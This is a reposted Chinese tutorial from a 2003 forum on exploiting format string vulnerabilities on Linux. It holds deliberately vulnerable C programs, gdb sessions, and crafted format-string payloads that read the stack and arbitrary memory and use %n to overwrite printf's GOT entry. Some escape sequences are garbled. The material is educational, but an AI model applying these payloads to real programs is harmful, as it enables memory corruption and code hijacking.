在Linux上利用Format String漏洞

由 pgtm_love 在 06-01-2003 22:32 发表:

在Linux上利用Format String漏洞

在Linux上利用Format String漏洞

发布日期:2002-11-25

文摘内容:

--------------------------------------------------------------------------------

在Linux上利用Format String漏洞

作者:莫大

引子:

与缓冲区溢出漏洞相比,Format String漏洞的历史就要短得多,而且实际的例子也少很多。比较著名的象Linux上的rpc.statd,还有wu-ftpd版本2.x,前一段时间我还想找这个2.x版本的wu-ftpd源程序来Exploit一下,找来找去没找到,估计作者把它藏起来了。

不过网上倒是有几篇介绍Format String漏洞的文章值得一读,象Team teso的"Exploiting Format String Vulerabilities",还有Kalou/Pascal Bouchareine的"Format string vulnerability",这些文章的引用率应该很高,你们到Google上保证找得到。当然,我觉得我的这篇文章也不错,欢迎大家来看啦,只是有史以来很多人都喜欢读原著,象我大学时教政治的老师,他就经常说要读马列原著才行,翻译的都不灵光。

这一章我将在Caldera Linux V2.2上演示Format String的原理以及Exploit例子,不过我想其它Flavor的Linux也能试验这一章用到的程序。演示用的机器是claton----这是我美国梦开始的地方。

针对Linux操作系统或者Linux应用程序的Exploit多如牛毛,毕竟Linux是Open Source的,各方豪杰都要围着它们显显身手、切磋武功----我也花了不少时间在Linux上操练(不好意思,自己称自己为豪杰)。

Anyway,新时代的口号: Long Live OpenSource!!!!

关于Format String漏洞的背景介绍之一:

按老规矩,在作Exploit之前,我们要先介绍一下Format String的背景知识。请看下面的程序fordemo.c

<======================fordemo.c=========================>

main()

pb

char buf[512]="";

char tmp[512]="hello world\n";

memset(buf, '\0', 512);

read(0, buf, 512);

printf(tmp);

printf("%s\n%s", buf,tmp);

printf("%x==%x==%x==%x\n");

}

<========================================================>

fordemo连续三次调用格式输出函数printf:第一次与第二次都属正常,大家在编写程序时也经常如此这般地调用printf;但第三次调用却有些奇怪,为什么只有格式化符号%x?根据printf的语法要求,这次调用还需要另外四个输入参数,类似于下面的形式才对:

printf("%x==%x==%x==%x\n",forx1,forx2,forx3,forx4);

那么,当程序fordemo调用第三个printf时,它会如何反应呢?让我们深入到fordemo的汇编码中看看。

先编译程序fordemo.c,编译器并不认为第三个printf调用有语法错误。

[moda@claton format]$ gcc fordemo.c -o fordemo -g

用gdb运行fordemo:

[moda@claton format]$ gdb fordemo

GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-COL-linux"...

/*

先在函数printf入口设置断点

*/

(gdb) b printf

Breakpoint 1 at 0x80484f4

(gdb) r

Starting program: /home/moda/format/fordemo

Breakpoint 1 at 0x40066c1c: file printf.c, line 30.

hello babby

/*

这里通过函数read输入字符串"hello babby"给缓冲区buf

*/

Breakpoint 1, printf (format=0xbffff8b8 "hello world\n") at printf.c:30

/*

已经进入第一次printf函数调用----"printf(tmp)",然后在断点处停下。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:

*/

(gdb) bt

#0 printf (format=0xbffff8b8 "hello world\n") at printf.c:30

#1 0x80486a9 in main () at fordemo.c:10

#2 0x4003286f in __libc_start_main (main=0x8048608

  1<main>, argc=1,   
  2  
  3argv=0xbffffd04, init=0x8048470 &lt;_init&gt;, fini=0x8049530 &lt;_fini&gt;,   
  4  
  5rtld_fini=0x4000ab70 &lt;_dl_fini&gt;, stack_end=0xbffffcfc)   
  6  
  7at ../sysdeps/generic/libc-start.c:92   
  8  
  9(gdb) x/20x $esp   
 10  
 110xbffff8a8: 0x40102e9c 0xbffffcb8 0x080486a9 0xbffff8b8   
 12  
 130xbffff8b8: 0x6c6c6568 0x6f77206f 0x0a646c72 0x00000000   
 14  
 150xbffff8c8: 0x00000000 0x00000000 0x00000000 0x00000000   
 16  
 170xbffff8d8: 0x00000000 0x00000000 0x00000000 0x00000000   
 18  
 190xbffff8e8: 0x00000000 0x00000000 0x00000000 0x00000000   
 20  
 21/*   
 22  
 23观察一下call stack可以知道,0x080486a9是函数printf返回main的地址,它前面的0xbffffcb8应该是main的堆栈栈底($EBP)地址,而它后面的0xbffff8b8就是函数printf的输入参数,也就是指向缓冲区tmp的起始地址的指针。我们可以核实一下:   
 24  
 25*/   
 26  
 27(gdb) x/s 0xbffff8b8   
 28  
 290xbffff8b8: "hello world\n"   
 30  
 31/*   
 32  
 33上面这个"printf(tmp)"调用是最简单的情况,只需要一个字符串指针0xbffff8b8作为输入参数,而且这个指针参数是紧接在printf返回地址后面。   
 34  
 35  
 36  
 37我顺便提醒一下(因为可能有人在打瞌睡):指针0xbffff8b8所指向的缓冲区tmp就紧跟在这个指针的后面。   
 38  
 39  
 40  
 41下面继续执行,我们要看一下第二个printf调用时内存的内容。   
 42  
 43*/   
 44  
 45(gdb) c   
 46  
 47Continuing.   
 48  
 49hello world   
 50  
 51  
 52  
 53Breakpoint 1, printf (format=0x8049562 "%s\n%s") at printf.c:30   
 54  
 55  
 56  
 57/*   
 58  
 59程序已经进入"printf("%s\n%s", buf,tmp);",现在停在断点处。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:   
 60  
 61*/   
 62  
 63(gdb) bt   
 64  
 65#0 printf (format=0x8049562 "%s\n%s") at printf.c:30   
 66  
 67#1 0x80486c4 in main () at fordemo.c:11   
 68  
 69#2 0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,   
 70  
 71argv=0xbffffd04, init=0x8048470 &lt;_init&gt;, fini=0x8049530 &lt;_fini&gt;,   
 72  
 73rtld_fini=0x4000ab70 &lt;_dl_fini&gt;, stack_end=0xbffffcfc)   
 74  
 75at ../sysdeps/generic/libc-start.c:92   
 76  
 77(gdb) x/20x $esp   
 78  
 790xbffff8a0: 0x40102e9c 0xbffffcb8 0x080486c4 0x08049562   
 80  
 810xbffff8b0: 0xbffffab8 0xbffff8b8 0x6c6c6568 0x6f77206f   
 82  
 830xbffff8c0: 0x0a646c72 0x00000000 0x00000000 0x00000000   
 84  
 850xbffff8d0: 0x00000000 0x00000000 0x00000000 0x00000000   
 86  
 870xbffff8e0: 0x00000000 0x00000000 0x00000000 0x00000000   
 88  
 89/*   
 90  
 910xbffffcb8是函数main的堆栈栈底($EBP)地址,0x080486c4是printf返回main的地址,而紧跟在0x080486c4后面的应该是printf函数的输入参数。源程序中的printf有三个输入参数:"%s\n%s"、buf、tmp,它们分别对应着0x080486c4后面的0x08049562、0xbffffab8、0xbffff8b8。在printf最后作格式化输出时,0xbffffab8、0xbffff8b8所指向的字符串将替换格式化字符串"%s\n%s"中的两个%s。   
 92  
 93*/   
 94  
 95(gdb) x/s 0x08049562   
 96  
 970x8049562 &lt;_IO_stdin_used+18&gt;: "%s\n%s"   
 98  
 99(gdb) x/s 0xbffffab8   
100  
1010xbffffab8: "hello babby\n"   
102  
103(gdb) x/s 0xbffff8b8   
104  
1050xbffff8b8: "hello world\n"   
106  
107/*   
108  
109从上面的内存分配情况可以看出,当printf的输入参数中有格式化符号时,比如说"%s\n%s",系统会把实现(或者说替换)这些格式化符号的"真实的"参数或参数指针分配在格式化符号串的后面。这一点对于我们理解Format String的漏洞很重要!的确很重要!   
110  
111  
112  
113如果你还不理解这一点的重要性,请想象一下如果我们忘记提供替换"%s\n%s"的两个字符串(不管是有意还是无意),printf会这么处理??   
114  
115  
116  
117这就是我们第三个printf调用"printf("%x==%x==%x==%x\n");"所要说明的!   
118  
119*/   
120  
121(gdb) c   
122  
123Continuing.   
124  
125hello babby   
126  
127  
128  
129hello world   
130  
131  
132  
133Breakpoint 1, printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30   
134  
135/*   
136  
137现在程序已经进入" printf("%x==%x==%x==%x\n")"。我们看看程序当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:   
138  
139*/   
140  
141(gdb) bt   
142  
143#0 printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30   
144  
145#1 0x80486d1 in main () at fordemo.c:12   
146  
147#2 0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,   
148  
149argv=0xbffffd04, init=0x8048470 &lt;_init&gt;, fini=0x8049530 &lt;_fini&gt;,   
150  
151rtld_fini=0x4000ab70 &lt;_dl_fini&gt;, stack_end=0xbffffcfc)   
152  
153at ../sysdeps/generic/libc-start.c:92   
154  
155(gdb) x/20x $esp   
156  
1570xbffff8a8: 0x40102e9c 0xbffffcb8 0x080486d1 0x08049568   
158  
1590xbffff8b8: 0x6c6c6568 0x6f77206f 0x0a646c72 0x00000000   
160  
1610xbffff8c8: 0x00000000 0x00000000 0x00000000 0x00000000   
162  
1630xbffff8d8: 0x00000000 0x00000000 0x00000000 0x00000000   
164  
1650xbffff8e8: 0x00000000 0x00000000 0x00000000 0x00000000   
166  
167(gdb) x/s 0x08049568   
168  
1690x8049568 &lt;_IO_stdin_used+24&gt;: "%x==%x==%x==%x\n"   
170  
171/*   
172  
1730x080486d1是printf返回main的地址,且不管它。0x08049568指向格式化字符串"%x==%x==%x==%x\n",但是我们并没有提供替换四个格式化符号%x的参数,printf如何处理这种情况呢?它误以为紧跟在指针0x08049568后面的四个Hex码(每个Hex码为4Bytes)也是输入参数,并用这四个Hex码来替换符号%x输出。   
174  
175*/   
176  
177(gdb) c   
178  
179Continuing.   
180  
1816c6c6568==6f77206f==a646c72==0   
182  
183  
184  
185Program exited with code 037.   
186  
187(gdb)   
188  
189(gdb) q   
190  
191[moda@claton format]$   
192  
193  
194  
195现在让我总结一下:"当使用格式化函数(比如printf,sprintf,fprintf等等)时,如果我们有意或无意让替换格式化符号的"真实"参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出。"----莫氏定理。   
196  
197  
198  
199背景还没介绍完,请大家继续往下看!   
200  
201  
202  
203  
204  
205关于Format String漏洞的背景介绍之二:   
206  
207  
208  
209  
210  
211前一段时间听说台湾省的美凤小姐被人用针孔像机偷窥了几下,我当时就想在虚拟世界里这个Format String就是偷窥用的针孔像机,它可以满足黑客们与众不同的心态----偷窥程序的堆栈内容,偷窥被调用函数返回地址和调用函数堆栈栈底地址等系统管理信息。请看下面的例子forreal.c,这也是本章我要Exploit的Vulerable程序,我下面就要偷窥它的系统管理信息以及其它一些我们感兴趣的内容。   
212  
213  
214  
215&lt;===========================forreal.c===============================&gt;   
216  
217  
218  
219#include <stdio.h>   
220  
221#define IOSIZE 512   
222  
223  
224  
225  
226  
227main()   
228  
229{   
230  
231FILE * binFileH;   
232  
233char binFile[]="binFile";   
234  
235char tmp1[IOSIZE];   
236  
237char tmp2[IOSIZE];   
238  
239  
240  
241memset(tmp1, '\x00', IOSIZE);   
242  
243memset(tmp2, '\x00', IOSIZE);   
244  
245  
246  
247if ( (binFileH = fopen(binFile, "rb")) == NULL)   
248  
249{   
250  
251printf("can't open file -cn");   
252  
253exit();   
254  
255}   
256  
257  
258  
259//tmp1 = getenv(buf);   
260  
261fread(tmp1, sizeof(char),IOSIZE, binFileH);   
262  
263printf("Finish Reading in File\n");   
264  
265  
266  
267makeeasy(tmp2,tmp1);   
268  
269  
270  
271}   
272  
273  
274  
275  
276  
277makeeasy(char * tmp2, char * tmp1)   
278  
279{   
280  
281  
282  
283char crap[4]="XXXX";   
284  
285  
286  
287sprintf(tmp2,tmp1);   
288  
289  
290  
291printf("%s\n",tmp2);   
292  
293}   
294  
295  
296  
297=====================================================================   
298  
299  
300  
301先创建一个文件binFile,我们往里面输入几个格式化字符:   
302  
303  
304  
305[moda@claton format]$ printf "AAAA %%x %%x %%x %%x %%x %%x" &gt; binFile   
306  
307  
308  
309现在binFile中只有格式化符号,但却没有替换格式化符号的真实的参数。我们运行一下Vulerable程序看看可以"偷窥"到什么东西:   
310  
311  
312  
313[moda@claton format]$ forreal   
314  
315Finish Reading in File   
316  
317AAAA 58585858 bffffce8 8048771 bffff8dc bffffadc 41414141   
318  
319[moda@claton format]$   
320  
321  
322  
323其中的58585858是crap矩阵变量"XXXX"的ascii码,bffffce8是main()函数寄存器ESP的内容,而8048771则是函数makeeasy的返回地址。大家猜一下bffff8dc与bffffadc是什么?它们是函数makeeasy的输入参数tmp2指针与tmp1指针。最后的41414141是"AAAA"的ascii码,为什么会是41414141呢?让我另起一段来详细说明一下:   
324  
325  
326  
327当makeeasy调用函数sprintf(tmp2,tmp1)时,格式化符号串指针*tmp1后面的内存内容如下:   
328  
329  
330  
331\--符号串指针*tmp1--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵--   
332  
333  
334  
335根据莫氏定理:"如果我们有意或无意让替换格式化符号的'真实'参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出",因此格式化符号们"%x %x %x %x %x %x"依次把从crap开始的内容一个一个地输出,一直到第六个格式化符号%x,它对应着矩阵tmp2的起始4个字节----sprintf函数这时已经往里面放了"AAAA"的ascii码,所以第六个%x就把这些ascii码输出。我们的针孔像机果然看到了许多不该看到的东西吧!   
336  
337  
338  
339在介绍针孔像机的另一个功能之前,我要问大家一个问题,如何得到程序运行时内存的内容?换句话问,"任意"给你一个内存地址("任意"是指程序运行权限之内的任意地址),你能得到它的内容吗?   
340  
341  
342  
343就象在Solaris系统中的truss一样,在linux上我们可以用ltrace或者strace跟踪某些程序变量的内存地址以及其它一些有限的内容,请看下面的演示:   
344  
345  
346  
347[moda@claton format]$ echo "ZZZZZZZZ" &gt; binFile   
348  
349[moda@claton format]$   
350  
351[moda@claton format]$ ltrace forreal   
352  
353__libc_start_main(0x080486c0, 1, 0xbffffcf4, 0x080484f0, 0x08049600 <unfinished ...="">   
354  
355memset(0xbffffa9c, '\000', 512) = 0xbffffa9c   
356  
357memset(0xbffff89c, '\000', 512) = 0xbffff89c   
358  
359fopen("binFile", "rb") = 0x0804a798   
360  
361fread(0xbffffa9c, 1, 512, 0x0804a798) = 9   
362  
363printf("Finish Reading in File\n"Finish Reading in File   
364  
365) = 23   
366  
367sprintf("ZZZZZZZZ□cn", "ZZZZZZZZ\n") = 9   
368  
369printf("%s\n", "ZZZZZZZZ\n"ZZZZZZZZ   
370  
371  
372  
373) = 10   
374  
375+++ exited (status 10) +++   
376  
377  
378  
379上面黑体显示的就是一些内存变量在程序运行时的地址及内容。不过这些信息也太有限了,而且在大多数情况下,你还没有足够的权限用ltrace(或strace)去跟踪程序的运行呢!这与我们要求的"任意"这个最高境界还差着十万八千里的距离。   
380  
381  
382  
383如果你没有孙悟空翻筋斗的功夫,那还是跟着我学习针孔像机的另一个功能:偷窥内存"任意"地址的内容。请看下面的演示:   
384  
385  
386  
387先创建一个文件binFile,往里面加格式化字符串:   
388  
389moda@claton format]$ printf "ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" &gt;binFile   
390  
391[moda@claton format]$   
392  
393  
394  
395接着运行forreal:   
396  
397  
398  
399[moda@claton format]$ forreal   
400  
401Finish Reading in File   
402  
403ABCD旭 +58585858bffffce88048771bffff8dcbffffadc44434241BBBBFn +q□□+_□+ABCD旭8585858bffffce88048771bffff8dcbffffadc44434241BBBB   
404  
405[moda@claton format]$   
406  
407  
408  
409forreal输出了一堆乱七八糟的东西,不过仔细看看输出的结果,我们还是认识其中的大部分的:ABCD、58585858("XXXX"的ascii码)、bffffce8(main函数的ESP),0x8048771(makeeasy的RET)、bffff8dc与bffffadc(makeeasy的输入参数)、44434241(对应着"ABCD")、BBBB。其它的字节则不能正常输出(不过南极星程序可能把它们当成Unicode输出了),其中跟在ABCD后面的应该是字节"\xccPcxf8\xff\xb"、跟在BBBB后面的是什么呢?让我们把结果再以Hex码显示一下,我特别把不能正常显示的字节用大几号的黑体标出来:   
410  
411  
412  
413[moda@claton format]$   
414  
415[moda@claton format]$ forreal | hexdump   
416  
4170000000 6946 696e 6873 5220 6165 6964 676e 6920 //Finish Reading ...   
418  
4190000010 206e 6946 656c 410a 4342 cc44 fff8 35bf //in File\nABCD 5   
420  
4210000020 3538 3538 3538 6238 6666 6666 6563 3838 //8585858bffffce88   
422  
4230000030 3430 3738 3137 6662 6666 3866 6364 6662 //048771bffff8dcbf   
424  
4250000040 6666 6166 6364 3434 3334 3234 3134 4242 //fffadc44434241BB   
426  
4270000050 4242 fce8 bfff 8771 0804 f8dc bfff fadc //BB   
428  
4290000060 bfff 4241 4443 f8cc bfff 3835 3835 3835   
430  
4310000070 3835 6662 6666 6366 3865 3038 3834 3737   
432  
4330000080 6231 6666 6666 6438 6263 6666 6666 6461   
434  
4350000090 3463 3434 3433 3432 4231 4242 0a42   
436  
437000009e   
438  
439  
440  
441跟在ABCD后面的黑体字确是字节0xbffff8cc,而跟在BBBB后面的长字串黑体字是   
442  
443"bffffce88048771bffff8dc。。。。。。"----这重复了0x58585858后面的内容。为什么会是这样的结果呢?如果你已经知道原因的话,请先飞到下一节吧!(聪明的是不会轻易先飞的,因为怕别人说他是笨鸟!)。   
444  
445  
446  
447我们回顾一下格式化符号串指针附近的内存内容:   
448  
449  
450  
451\---符号串指针*tmp1--crap--main函数的ESP--makeeasy函数的RET--*tmp2--*tmp1-- tmp2矩阵(44434241--bffff8cc--.......)   
452  
453  
454  
455在传给sprintf的格式化字符串"ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" 中有六个%x,sprintf把它们依次以下面的内容替换:crap(0x58585858)、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、tmp2矩阵指针(0xbffff8dc)、tmp1矩阵指针(0xbffffadc)、ABCD的ascii码(0x44434241)。再下一个格式化符号是BBBB后面的"%s",它由什么来替换呢?很显然它将由排在0x44434241后面的四个字节替换,这四个字节中已经放入我们输入"\xcc\xf8\xff\xbf"。但是、但是。。。现在替换的规则变了:sprintf或其它的格式化函数在替换"%s"时,它们需要的是字符串指针,於是"\xcc\xf8\xff\xbf"就被当作字符串指针,这样替换的结果就是sprintf函数把这个指针指向的内容输出,我们也就得到了从地址0xbffff8cc开始的内存内容,也就是"bffffce88048771bffff8dc。。。。。。"!依此类推,你若想知道其它任意地址Any_Address的内容,只要把地址0xbffff8cc换成Any_Address即可。   
456  
457  
458  
459好了,现在应该介绍Format String的最后、也是最重要的功能:如何巧妙设计Format String,然后利用格式化函数往内存中写东西。我要让大家看看,我们的"针孔像机"不光可以看东西,还可以动手动脚哩!而这个手和脚就是格式化符号"%n",当格式化函数遇到"%n"时,它会将已经输出的字节总数写入"%n"对应的替换地址中。在下面的例子中,我要利用"%n"来修改printf函数的Global Offset Table Entry。(如果你不太清楚Linux系统中Global Offset Table的概念,请"GOTO 下一节----关于Linux操作系统中的Global Offset Table:",不过千万要记得看完以后再返回到这里。)   
460  
461  
462  
463先看看程序forreal中的各个输入函数的GOT Entry地址,我把printf函数的Entry用大号黑体标出来,方便象我一样的近似眼们看清楚。   
464  
465  
466  
467[moda@claton format]$   
468  
469[moda@claton format]$ objdump -R forreal   
470  
471  
472  
473forreal: file format elf32-i386   
474  
475  
476  
477DYNAMIC RELOCATION RECORDS   
478  
479OFFSET TYPE VALUE   
480  
4810804a6cc R_386_GLOB_DAT __gmon_start__   
482  
4830804a698 R_386_JUMP_SLOT malloc   
484  
4850804a69c R_386_JUMP_SLOT fread   
486  
4870804a6a0 R_386_JUMP_SLOT abort   
488  
4890804a6a4 R_386_JUMP_SLOT __deregister_frame_info   
490  
4910804a6a8 R_386_JUMP_SLOT __libc_start_main   
492  
4930804a6ac R_386_JUMP_SLOT printf   
494  
4950804a6b0 R_386_JUMP_SLOT exit   
496  
4970804a6b4 R_386_JUMP_SLOT free   
498  
4990804a6b8 R_386_JUMP_SLOT memset   
500  
5010804a6bc R_386_JUMP_SLOT fopen   
502  
5030804a6c0 R_386_JUMP_SLOT sprintf   
504  
5050804a6c4 R_386_JUMP_SLOT __register_frame_info_table   
506  
5070804a6c8 R_386_JUMP_SLOT __register_frame_info   
508  
509  
510  
511printf函数的GOT Entry是在地址0x0804a6ac,我们依据这个地址创造如下一个格式化字符串:   
512  
513  
514  
515[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n" &gt;binFile   
516  
517  
518  
519注意这个格式化字符串的结尾是"%n"。让我们运行程序一下forreal看看有什么结果:   
520  
521  
522  
523[moda@claton format]$ forreal   
524  
525Finish Reading in File   
526  
527Segmentation fault (core dumped)   
528  
529  
530  
531程序在输出"Finish Reading in File"以后垮掉了。我们用gdb来分析一下黑匣子文件core:   
532  
533  
534  
535[moda@claton format]$ gdb forreal core   
536  
537GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support   
538  
539Copyright 1998 Free Software Foundation, Inc.   
540  
541GDB is free software, covered by the GNU General Public License, and you are   
542  
543welcome to change it and/or distribute copies of it under certain conditions.   
544  
545Type "show copying" to see the conditions.   
546  
547There is absolutely no warranty for GDB. Type "show warranty" for details.   
548  
549This GDB was configured as "i386-COL-linux"...   
550  
551Core was generated by `forreal'.   
552  
553Program terminated with signal 11, Segmentation fault.   
554  
555Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.   
556  
557Reading symbols from /lib/ld-linux.so.2...done.   
558  
559#0 0x41 in ?? ()   
560  
561(gdb) bt //列出Call Stack   
562  
563#0 0x41 in ?? ()   
564  
565#1 0x8048771 in main () at forreal.c:25 //第25行调用makeeasy()函数   
566  
567#2 0x4003286f in __libc_start_main (main=0x80486c0 <main>, argc=1,   
568  
569argv=0xbffffd34, init=0x80484f0 &lt;_init&gt;, fini=0x8049600 &lt;_fini&gt;,   
570  
571rtld_fini=0x4000ab70 &lt;_dl_fini&gt;, stack_end=0xbffffd2c)   
572  
573at ../sysdeps/generic/libc-start.c:92   
574  
575(gdb)   
576  
577  
578  
579forreal程序的第25行是调用makeeasy()函数,然后从这里企图调用位于地址0x41的指令。这个地址0x41是不可访问的,所以系统终止forreal进程的运行,并报Segmentation fault错误。   
580  
581  
582  
583我们再用gdb来跟踪forreal程序的运行,可以看看它是如何一步一步地滑向深渊的:   
584  
585  
586  
587[moda@claton format]$ gdb forreal   
588  
589GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support   
590  
591Copyright 1998 Free Software Foundation, Inc.   
592  
593GDB is free software, covered by the GNU General Public License, and you are   
594  
595welcome to change it and/or distribute copies of it under certain conditions.   
596  
597Type "show copying" to see the conditions.   
598  
599There is absolutely no warranty for GDB. Type "show warranty" for details.   
600  
601This GDB was configured as "i386-COL-linux"...   
602  
603(gdb) b sprintf //在sprintf函数入口设断点   
604  
605Breakpoint 1 at 0x80485d4   
606  
607(gdb) b 37 //在第37行设断点   
608  
609Breakpoint 2 at 0x8048796: file forreal.c, line 37.   
610  
611(gdb) r //开始运行程序   
612  
613Starting program: /home/moda/format/forreal   
614  
615Breakpoint 1 at 0x40066c70: file sprintf.c, line 37.   
616  
617Finish Reading in File   
618  
619  
620  
621Breakpoint 1, sprintf (s=0xbffff8ac "",   
622  
623format=0xbffffaac "ABCD惮\004\b %x %x %x %x %x %xBBBB%n") at sprintf.c:37   
624  
625/*   
626  
627程序在进入函数sprintf后中断,我们看看当前ESP附近的内存内容:   
628  
629*/   
630  
631(gdb) x/20x $esp   
632  
6330xbffff884: 0x40102e9c 0xbffff89c 0x08048793 0xbffff8ac   
634  
6350xbffff894: 0xbffffaac 0x58585858 0xbffffcb8 0x08048771   
636  
6370xbffff8a4: 0xbffff8ac 0xbffffaac 0x00000000 0x00000000   
638  
6390xbffff8b4: 0x00000000 0x00000000 0x00000000 0x00000000   
640  
6410xbffff8c4: 0x00000000 0x00000000 0x00000000 0x00000000   
642  
643(gdb) x/s 0xbffffaac   
644  
6450xbffffaac: "ABCD惮\004\b %x %x %x %x %x %xBBBB%n"   
646  
647/*   
648  
649地址0xbffff89c是makeeasy函数的堆栈栈底地址,而0x08048793则是sprintf返回makeeasy的地址。0xbffff8ac与0xbffffaac是sprintf函数的输入参数,其中0xbffffaac指向的缓冲区已经填入了我们通过binFile输入的格式化字符串。   
650  
651  
652  
653我们看看位于地址0x0804a6ac的printf函数的GOT entry内容:   
654  
655*/   
656  
657(gdb) x/4x 0x0804a6ac   
658  
6590x804a6ac &lt;_GLOBAL_OFFSET_TABLE_+32&gt;:   
660  
6610x40066c0c 0x0804859a 0x080485 aa 0x400782c0   
662  
663/*   
664  
665对於Linux操作系统来说,某个函数的GOT entry是指向该函数起始地址的指针。所以地址0x0804a6ac中的0x40066c0c应该是printf函数的起始地址。不相信的话,请往看下面:   
666  
667*/   
668  
669(gdb) x/5i 0x40066c0c   
670  
6710x40066c0c <printf>: pushl %ebp   
672  
6730x40066c0d <printf+1>: movl %esp,%ebp   
674  
6750x40066c0f <printf+3>: pushl %ebx   
676  
6770x40066c10 <printf+4>: call 0x40066c15 <printf+9>   
678  
6790x40066c15 <printf+9>: popl %ebx   
680  
681/*   
682  
683继续执行   
684  
685*/   
686  
687(gdb) c   
688  
689Continuing.   
690  
691  
692  
693Breakpoint 2, makeeasy (   
694  
695tmp2=0xbffff8ac "ABCD惮\004\b 58585858 bffffcb8 8048771 bffff8ac bffffaac 44434241BBBB", tmp1=0xbffffaac "ABCD惮\004Pcb %x %x %x %x %x %xBBBB%n")   
696  
697at forreal.c:37   
698  
69937 printf("%s\n",tmp2);   
700  
701/*   
702  
703程序中断在第37行,准备用printf输出tmp2的内容。   
704  
705  
706  
707在这时候,sprintf函数已经把格式化字符串替换完,替换的结果填入从0xbffff8ac开始的缓冲区中。但是唯一的例外是格式化符号"%n"的替换,对应着这个"%n"的是地址0x0804a6ac,就是printf函数的GOT Entry。在替换时,sprintf函数把当前已经输出的字节总数(0x41)写入这个地址中。   
708  
709  
710  
711让我们检查一下地址0x0804a6ac的内容:   
712  
713*/   
714  
715(gdb) x/4x 0x0804a6ac   
716  
7170x804a6ac &lt;_GLOBAL_OFFSET_TABLE_+32&gt;:   
718  
7190x00000041 0x0804859a 0x080485 aa 0x400782c0   
720  
721/*   
722  
723作为函数printf的GOT Entry,这个地址0x0804a6ac中应该是指向printf起始地址的指针。现在这个指针被修改成了0x41,那么后面调用printf函数时进程就跳到地址0x41去执行,执行的结果当然是灾难性的Segmentation fault.   
724  
725*/   
726  
727(gdb) c   
728  
729Continuing.   
730  
731  
732  
733Program received signal SIGSEGV, Segmentation fault.   
734  
7350x41 in ?? ()   
736  
737  
738  
739上面的格式化字符串"ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n"仅仅往地址0x0804a6ac中写入一个很小的数0x41。如果我们要往这个地址写入一个很大的数值,比如说黑客码地址,应该如何构造格式化字符串呢?请大家研究下面的例子,我就不在旁边罗唆了。   
740  
741  
742  
743  
744  
745[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08\xadPcxa6\x04\x08\xae\xa6\x04\x08\xaf\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%nCCCC%%nDDDD%%nEEEE%%n" &gt;binFile   
746  
747[moda@claton format]$   
748  
749[moda@claton format]$ forreal   
750  
751Finish Reading in File   
752  
753Segmentation fault (core dumped)   
754  
755[moda@claton format]$ gdb forreal core   
756  
757GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support   
758  
759Copyright 1998 Free Software Foundation, Inc.   
760  
761GDB is free software, covered by the GNU General Public License, and you are   
762  
763welcome to change it and/or distribute copies of it under certain conditions.   
764  
765Type "show copying" to see the conditions.   
766  
767There is absolutely no warranty for GDB. Type "show warranty" for details.   
768  
769This GDB was configured as "i386-COL-linux"...   
770  
771Core was generated by `forreal'.   
772  
773Program terminated with signal 11, Segmentation fault.   
774  
775Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.   
776  
777Reading symbols from /lib/ld-linux.so.2...done.   
778  
779#0 0x5955514d in ?? ()   
780  
781(gdb) x/4x 0x0804a6ac   
782  
7830x804a6ac &lt;_GLOBAL_OFFSET_TABLE_+32&gt;: 0x5955514d 0x08000000 0x080485   
784  
785aa 0x400782c0   
786  
787(gdb) q   
788  
789[moda@claton format]$   
790  
791  
792  
793  
794  
795关于Linux操作系统中的Global Offset Table:   
796  
797  
798  
799  
800  
801在第四章里面我曾经提到Symbol Resolution的概念,就是说当程序要使用其它目标文件或目标文件库中的函数时,它要先知道这些函数的起始地址(当然我们假设该目标文件已经被载入程序内存空间)。至于它是通过何种途径解析这些起始地址的,已经有很多文章提及,我们且不管它。这里我主要说说在Linux中的程序获得起始地址以后,把这些地址保存在何处。   
802  
803  
804  
805在Linux系统中,我们可以使用命令"objdump -R 程序X"来了解程序X需要解析哪些输入函数的地址,比如说对於我们的Vulerable程序forreal:   
806  
807  
808  
809[moda@claton format]$ objdump -R forreal   
810  
811  
812  
813forreal: file format elf32-i386   
814  
815  
816  
817DYNAMIC RELOCATION RECORDS   
818  
819OFFSET TYPE VALUE   
820  
8210804a6cc R_386_GLOB_DAT __gmon_start__   
822  
8230804a698 R_386_JUMP_SLOT malloc   
824  
8250804a69c R_386_JUMP_SLOT fread   
826  
8270804a6a0 R_386_JUMP_SLOT abort   
828  
8290804a6a4 R_386_JUMP_SLOT __deregister_frame_info   
830  
8310804a6a8 R_386_JUMP_SLOT __libc_start_main   
832  
8330804a6ac R_386_JUMP_SLOT printf   
834  
8350804a6b0 R_386_JUMP_SLOT exit   
836  
8370804a6b4 R_386_JUMP_SLOT free   
838  
8390804a6b8 R_386_JUMP_SLOT memset   
840  
8410804a6bc R_386_JUMP_SLOT fopen   
842  
8430804a6c0 R_386_JUMP_SLOT sprintf   
844  
8450804a6c4 R_386_JUMP_SLOT __register_frame_info_table   
846  
8470804a6c8 R_386_JUMP_SLOT __register_frame_info   
